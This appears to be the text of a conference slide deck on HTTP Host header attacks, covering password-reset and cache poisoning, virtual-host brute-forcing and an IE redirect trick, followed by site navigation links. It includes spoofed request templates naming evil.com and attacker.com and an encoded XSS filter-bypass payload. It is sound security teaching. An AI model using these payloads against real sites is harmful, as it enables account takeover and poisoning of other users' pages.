Sergey Belov
@sergeybelove
2 main puproses:
 Virtual host
 Proxy balancer
GET / HTTP/1.1
Host: www.example.com
...
Tampering can leak to:
 Password reset poisoning
 Cache poisoning
 Access to internal hosts
 Cross Site Scripting + filter bypass
Normal cases:
 <a href=“//user/page”>page</a>
 <a href=“http://example.com/user/page”>page</a>
Possible results after tampering:
 Error
 Default host / N/A
 First virtual host (apache / nginx – 000-default.conf)
 Tampered header in result html
GET / HTTP/1.1
Host: www.evil.com
...
Test case:
1) Go to password reset page
2) Spoof HOST header to attacker.com
3) Use victim’s email & submit
http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
http://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/
Possible victims:
• Drupal
• Django
• Joomla
• ...?
For developers:
• https://docs.djangoproject.com/en/1.8/ref/settings/#std:setting-ALLOWED_HOSTS
• https://www.drupal.org/node/2221699
HTTP HOST header attacks
Normal cases:
 <a href=“//user/page”>page</a>
 <a href=http://example.com/user/page>page</a>
1) Spoof
GET / HTTP/1.1
Host: www.evil.com
2) Spoof with 2 headers
GET / HTTP/1.1
Host: www.example.com
Host: www.evil.com
3) Spoof with X-Forwarded
GET / HTTP/1.1
Host: www.evil.com
X-Forwarded-Host: evil.com
1,2,3 can leak to perm XSS on
server side
A typical action while penesting – bruteforcing subdomains
What about HOST header bruteforcing?
 Let’s try to bruteforce HOST here!
MSF - /modules/auxiliary/scanner/http/vhost_scanner.rb – isn’t good
valstr = [
"admin",
"services",
"webmail",
"console",
"apps",
"mail",
"intranet",
"intra",
"spool",
"corporate",
"www",
"web"
]
example.com
Prefixes
• beta.example.com
• dev.example.com
• ...
Zones
• example.test
• example.dev
• example.beta
• ...
+ different combinations
https://github.com/BeLove/avhbf - good :)
Facts:
 Originally disclosed by @Black2Fan in 2013
 HOST header appears in result HTML
 Works only in IE
Our goal
–
Spoof HOST header in request by
victim (like a reflected XSS/CSRF)
 Host header after redirect
 Normal case
Response:
...
Location: http://example.com%2flogin.php
Request:
...
Host: example.com
 Host header after redirect
 IE (any version) case
Response:
...
Location: http://example.com%2flogin.php
Request:
...
Host: example.com/login.php
GET /login.phphp/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: pl-PL
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64;
Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: example.com/login.php
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
HTTP HOST header attacks
 XSS filter bypass (original example)
http://blackfan.ru
%252F<img%252Fsrc='x'onerror=alert(1)>
%252F.%252e%252F.%252e%252F%253F%2523
Now
https://sergeybelove.ru/one-button-scan/
can do this check & auto-generate exploits
 http://www.skeletonscribe.net/2013/05/practical-http-host-header-
attacks.html
 https://web.archive.org/web/20131107024350/http://blackfan.ru/
 http://www.acunetix.com/blog/articles/automated-detection-of-host-
header-attacks/
 http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html
Spoof host header while
pentesting1!11!!1!!!!
Any questions?
@sergeybelove

More Related Content

PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PDF
OWASP Top 10 Web Application Vulnerabilities
PDF
HTTP Request Smuggling via higher HTTP versions
PDF
HTTP Security Headers
PPTX
Bug Bounty for - Beginners
PPTX
Waf bypassing Techniques
PDF
Secure Coding principles by example: Build Security In from the start - Carlo...
PDF
Web Application Penetration Testing
Bug Bounty Hunter Methodology - Nullcon 2016
OWASP Top 10 Web Application Vulnerabilities
HTTP Request Smuggling via higher HTTP versions
HTTP Security Headers
Bug Bounty for - Beginners
Waf bypassing Techniques
Secure Coding principles by example: Build Security In from the start - Carlo...
Web Application Penetration Testing

What's hot (20)

PDF
Penetration Testing Report
PPT
Cross Site Request Forgery
PDF
OWASP API Security Top 10 - API World
PDF
OWASP API Security Top 10 Examples
PPT
Web Application Security
PDF
Offzone | Another waf bypass
PPTX
WTF is Penetration Testing v.2
PDF
Penetration testing web application web application (in) security
PPTX
Attacking thru HTTP Host header
PDF
Local File Inclusion to Remote Code Execution
PPT
Reconnaissance & Scanning
PPTX
Host Header injection - Slides
PPTX
Burp suite
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
PDF
The WAF book (Web App Firewall )
PPTX
Rest API Security
PDF
Http security response headers
PPTX
SSRF exploit the trust relationship
PDF
Derbycon - The Unintended Risks of Trusting Active Directory
PPTX
I hunt sys admins 2.0
Penetration Testing Report
Cross Site Request Forgery
OWASP API Security Top 10 - API World
OWASP API Security Top 10 Examples
Web Application Security
Offzone | Another waf bypass
WTF is Penetration Testing v.2
Penetration testing web application web application (in) security
Attacking thru HTTP Host header
Local File Inclusion to Remote Code Execution
Reconnaissance & Scanning
Host Header injection - Slides
Burp suite
Top 10 Web Security Vulnerabilities (OWASP Top 10)
The WAF book (Web App Firewall )
Rest API Security
Http security response headers
SSRF exploit the trust relationship
Derbycon - The Unintended Risks of Trusting Active Directory
I hunt sys admins 2.0
Ad

Viewers also liked (20)

PPT
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
PPTX
Weakpass - defcon russia 23
PDF
Георгий Зайцев - Reversing golang
PDF
nosymbols - defcon russia 20
PPTX
Attacks on tacacs - Алексей Тюрин
PDF
Nedospasov defcon russia 23
PDF
Miasm defcon russia 23
PDF
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
PDF
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
PDF
static - defcon russia 20
PDF
Vm ware fuzzing - defcon russia 20
PDF
Zn task - defcon russia 20
PDF
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
PPTX
Cisco IOS shellcode: All-in-one
PPTX
[Defcon Russia #29] Алексей Тюрин - Spring autobinding
PDF
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
PPTX
[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...
PDF
Advanced cfg bypass on adobe flash player 18 defcon russia 23
PDF
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
PPTX
50 Customer Service Quotes You Need to Hang In Your Office
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
Weakpass - defcon russia 23
Георгий Зайцев - Reversing golang
nosymbols - defcon russia 20
Attacks on tacacs - Алексей Тюрин
Nedospasov defcon russia 23
Miasm defcon russia 23
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
static - defcon russia 20
Vm ware fuzzing - defcon russia 20
Zn task - defcon russia 20
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
Cisco IOS shellcode: All-in-one
[Defcon Russia #29] Алексей Тюрин - Spring autobinding
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...
Advanced cfg bypass on adobe flash player 18 defcon russia 23
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
50 Customer Service Quotes You Need to Hang In Your Office
Ad

Similar to HTTP HOST header attacks (20)

PDF
CS50 Lecture5
PPTX
Web Cache Poisoning
PDF
Krzysztof Kotowicz - Hacking HTML5
PDF
Hacking HTML5 offensive course (Zeronights edition)
PDF
DEF CON 27- ALBINOWAX - http desync attacks
PDF
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."
PDF
Cracking into embedded devices and beyond
PPTX
Best practices of web app security (samvel gevorgyan)
PPT
gofortution
PPTX
Http response splitting
PPTX
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
PDF
Opening up the Social Web - Standards that are bridging the Islands
PPT
Heavy Web Optimization: Backend
PPTX
Web Security and its Importance in the Present era
ODP
Cracking Into Embedded Devices - HACK.LU 2K8
PPT
Browser Security
PDF
Weird proxies/2 and a bit of magic
PDF
Hidden Gems in HTTP
PDF
Html5 security
PDF
Cors kung fu
CS50 Lecture5
Web Cache Poisoning
Krzysztof Kotowicz - Hacking HTML5
Hacking HTML5 offensive course (Zeronights edition)
DEF CON 27- ALBINOWAX - http desync attacks
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."
Cracking into embedded devices and beyond
Best practices of web app security (samvel gevorgyan)
gofortution
Http response splitting
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
Opening up the Social Web - Standards that are bridging the Islands
Heavy Web Optimization: Backend
Web Security and its Importance in the Present era
Cracking Into Embedded Devices - HACK.LU 2K8
Browser Security
Weird proxies/2 and a bit of magic
Hidden Gems in HTTP
Html5 security
Cors kung fu

More from DefconRussia (12)

PDF
Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условиях
PDF
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
PDF
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...
PPTX
Alexey Sintsov- SDLC - try me to implement
PDF
Anton Alexanenkov - Tor and Botnet C&C
PPTX
Tyurin Alexey - NTLM. Part 1. Pass-the-Hash
PDF
Roman Korkikyan - Timing analysis workshop Part 2 Scary
PDF
Roman Korkikyan - Timing analysis workshop Part 2 Practice
PDF
Roman Korkikyan - Timing analysis workshop Part 1 Theory
PDF
Peter Hlavaty - DBIFuzz
PPTX
Vadim Bardakov - AVR & MSP exploitation
PDF
Tomas Hlavacek - IP fragmentation attack on DNS
Sergey Belov - Покажите нам Impact! Доказываем угрозу в сложных условиях
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
Taras Tatarinov - Применение аппаратных закладок pwnie express на примере реа...
Alexey Sintsov- SDLC - try me to implement
Anton Alexanenkov - Tor and Botnet C&C
Tyurin Alexey - NTLM. Part 1. Pass-the-Hash
Roman Korkikyan - Timing analysis workshop Part 2 Scary
Roman Korkikyan - Timing analysis workshop Part 2 Practice
Roman Korkikyan - Timing analysis workshop Part 1 Theory
Peter Hlavaty - DBIFuzz
Vadim Bardakov - AVR & MSP exploitation
Tomas Hlavacek - IP fragmentation attack on DNS

Recently uploaded (20)

PPTX
DiffErent Techniques of Analysis (Qualitative & Quantitative).pptx
PDF
Sujay Rao Mandavilli Variable logic FINAL FINAL FINAL FINAL FINAL.pdf
PPTX
Comfort, Restaurant and sleep, pain bs 1 semester
PDF
7th Introduction to Waves waves waves .pdf
PDF
Human Anatomy (Anatomy and Physiology A)
PDF
CITOQUINAS EN ORTODONCIA BIOLOGIA DEL MOVIMIENTO
PDF
Sujay Rao Mandavilli public profile September 2025.pdf
DOCX
lesson plan on learning disabilities in children
PPTX
Science 7 Q2 Plant and Animal Cell.pptx.pp
PPT
Multimedia processing and coding: multimedia content analysis, content- based...
PPTX
Morphology of Bacteria & Structure of Bacterial Cell
PPTX
Types of Microscope.pptx for students who wants to study detailing about mic...
DOCX
Introduction , chapter 1 , Nahid Fatema thesis
PPTX
ENDOCRINE_SYSTEM_ANATOMY_AND_PHYSIOLOGY.pptx
PDF
Biology_9B_Nutrition3.pdf Nutrition3.pdf
PDF
FSNRD Proceeding Finalized on May 11 2021.pdf
PPTX
UV-Visible spectroscopy Presentation.
PDF
The Role of Public Policy in Engineering Health Innovations (www.kiu.ac.ug)
PPT
dcs-computertraningbasics-170826004702.ppt
PDF
XUE: The CO2-rich terrestrial planet-forming region of an externally irradiat...
DiffErent Techniques of Analysis (Qualitative & Quantitative).pptx
Sujay Rao Mandavilli Variable logic FINAL FINAL FINAL FINAL FINAL.pdf
Comfort, Restaurant and sleep, pain bs 1 semester
7th Introduction to Waves waves waves .pdf
Human Anatomy (Anatomy and Physiology A)
CITOQUINAS EN ORTODONCIA BIOLOGIA DEL MOVIMIENTO
Sujay Rao Mandavilli public profile September 2025.pdf
lesson plan on learning disabilities in children
Science 7 Q2 Plant and Animal Cell.pptx.pp
Multimedia processing and coding: multimedia content analysis, content- based...
Morphology of Bacteria & Structure of Bacterial Cell
Types of Microscope.pptx for students who wants to study detailing about mic...
Introduction , chapter 1 , Nahid Fatema thesis
ENDOCRINE_SYSTEM_ANATOMY_AND_PHYSIOLOGY.pptx
Biology_9B_Nutrition3.pdf Nutrition3.pdf
FSNRD Proceeding Finalized on May 11 2021.pdf
UV-Visible spectroscopy Presentation.
The Role of Public Policy in Engineering Health Innovations (www.kiu.ac.ug)
dcs-computertraningbasics-170826004702.ppt
XUE: The CO2-rich terrestrial planet-forming region of an externally irradiat...

HTTP HOST header attacks